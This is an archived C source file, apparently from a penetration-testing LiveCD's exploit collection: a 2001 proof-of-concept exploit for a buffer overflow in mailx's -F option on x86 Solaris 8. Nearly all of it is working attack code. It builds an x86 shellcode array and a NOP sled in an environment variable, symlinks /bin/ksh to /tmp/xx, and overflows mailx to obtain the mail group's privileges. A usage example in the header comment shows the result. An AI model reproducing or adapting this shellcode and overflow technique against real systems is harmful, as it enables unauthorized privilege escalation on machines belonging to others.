home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / Mailx / mailx-F.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  68 lines

  1. #include <fcntl.h>
  2.  
  3. /*
  4.  
  5.    /usr/bin/mailx overflow proof of conecpt.
  6.  
  7.  
  8.    Pablo Sor, Buenos Aires, Argentina 04/2001
  9.    psor@afip.gov.ar, psor@ccc.uba.ar
  10.  
  11.    works against x86 solaris 8
  12.  
  13.    default offset should work.
  14.  
  15.    usage:
  16.  
  17.    bash$ id
  18.    uid=100(laika) gid=1(other)
  19.  
  20.    bash$ ./mailx-exp
  21.    Subject: tomy
  22.    .
  23.    EOT
  24.  
  25.    [wait...]
  26.  
  27.    $ id
  28.    uid=100(laika) gid=1(other) egid=6(mail)
  29.  
  30.  
  31. */
  32.  
  33. long get_esp() { __asm__("movl %esp,%eax"); }
  34.  
  35. int main(int ac, char **av)
  36. {
  37.  
  38. char shell[]=
  39. "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
  40. "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
  41. "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
  42. "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
  43. "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
  44. "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
  45. "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
  46. "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
  47. "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
  48. "\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
  49.  
  50.  unsigned long magic = get_esp() + 2075;  /* default offset */
  51.  unsigned char buf[1150];
  52.  char *envi;
  53.  
  54.  envi = (char *)malloc(300*sizeof(char));
  55.  memset(envi,0x90,300);
  56.  memcpy(envi+280-strlen(shell),shell,strlen(shell));
  57.  memcpy(envi,"SOR=",4);
  58.  envi[299]=0;
  59.  putenv(envi);
  60.  
  61.  symlink("/bin/ksh","/tmp/xx");
  62.  memset(buf,0x41,1150);
  63.  memcpy(buf+1116,&magic,4);
  64.  buf[1149]=0;
  65.  execl("/usr/bin/mailx","mailx","-F",buf,NULL);
  66. }
  67.  
  68.